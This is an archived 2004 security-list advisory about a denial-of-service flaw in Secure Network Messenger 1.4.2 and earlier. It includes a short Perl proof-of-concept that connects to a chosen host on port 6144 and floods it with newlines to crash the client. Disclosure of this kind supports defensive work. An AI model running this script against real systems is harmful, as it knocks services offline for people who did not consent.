

[EXPL] Secure Network Messenger DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0039.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/15/04

To: list@securiteam.com

Date: 15 Nov 2004 19:52:44 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Secure Network Messenger DoS

SUMMARY

" <<http://www.networkmessengers.com/msg/>> Secure Network Messenger (SNM) – is a real time network communication program to send and receive messages from one computer to another without using dedicated servers."

As reported, Secure Network Messenger can be crashed by sending client large amount of carriage returns (\r\n). Presented here is proof of concept code to the vulnerability.

DETAILS

Vulnerable Systems:

* Secure Network Messenger Version 1.4.2 and prior.

Exploit Code:

```
#!/usr/bin/perl
```

```
use IO::Socket;
```

```
print ("\nSecure Network Messenger Crasher by ClearScreen\n");
```

```
print ("\nEnter host to crash: ");
```

```
$h = <STDIN>;
```

```
chomp $h;
```

```
$socks = IO::Socket::INET->new(
```

Securiteam: [EXPL] Secure Network Messenger DoS

```
Proto => "tcp",
PeerPort => "6144",
PeerAddr => "$h"
) or die "\nNo response from host.";

sleep 1;
print "\nSuccesfully connected to $h!\n";
for ($count=1; $count<15; $count++)
{
print $socks "\n";
select(undef, undef, undef, 0.1);
}
print "\nMessenger crashed.";
close $socks;
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:clearscreen@lycantrope.com>>
r`Futile.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.